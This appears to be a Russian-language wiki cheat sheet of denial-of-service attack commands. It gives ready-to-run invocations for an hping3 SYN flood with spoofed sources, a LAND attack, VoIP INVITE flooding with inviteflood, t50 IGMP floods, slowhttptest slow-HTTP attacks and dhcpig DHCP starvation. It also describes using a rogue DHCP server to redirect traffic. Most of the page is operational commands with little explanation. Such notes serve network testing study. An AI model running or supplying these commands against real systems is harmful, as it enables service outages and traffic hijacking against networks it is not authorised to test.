DOS

DOS общего назначения

sudo hping3 --flood -S -p 80 192.168.86.1

-S	SYN пакет
Скорость генерации пакетов	
-i --interval --fast псевдоним -i u10000 --faster псевдоним -i u1000 --flood	ожидание (uX это X микросекунд, -i u1000). flood максимально возможная скорость генерации пакетов.
Целевая система	
[IP] или [HOST]	
-p [PORT]	
--rand-source	генерится случайный источник

LAND атака: sudo hping3 -S -p 80 192.168.1.1 -a 192.168.1.1

inviteflood DOS VoIP протокола sudo inviteflood eth0 kilroy dummy.com 192.168.86.238 150000

t50 192.168.1.1 --protocol IGMPv1 --flood -B

DOS web сервера

Slowloris: удержание большого количества открытых соединений с веб-сервером. Вместо переполнения инструмент атаки поддерживает соединение с сервером открытым, отправляя небольшие объемы данных на протяжении длительного времени.

Apache Killer: отправка байтов в виде перекрывающихся фрагментов. В ходе безуспешных попыток собрать эти фрагменты воедино веб-сервер исчерпывает всю доступную память.

slowhttptest реализовывает четыре HTTP-атаки: Slowloris (илиSlow Headers), атаку R-U-Dead-Yet (или Slow Body), атаку Apache Killer (или атака с помощью заголовка Range) и атаку Slow Read.

```
slowhttptest -H -u http://192.168.1.15
```

Атаки на DHCP

Протокол DHCP предусматривает тестовую программу под названием DHCPig, которая представляет собой еще одну атаку, направленную на исчерпание ресурсов DHCP-сервера. На практике атака может использоваться для получения контроля над сетевым трафиком. В ходе этой атаки злоумышленник расходует весь пул доступных IP-адресов и в то же время запускает собственный DHCP-сервер, который может перенаправлять трафик системы на контролируемый им же DNS-сервер.

```
sudo dhcpig -l eth0
```

Scapy

Интересный пакет для генерации пакетов. Можно как генерировать сырые пакеты, так и подгружать слои настройки и настраивать отдельно.

Revision #3
Created 13 November 2025 02:40:25 by Admin
Updated 13 November 2025 07:37:25 by Admin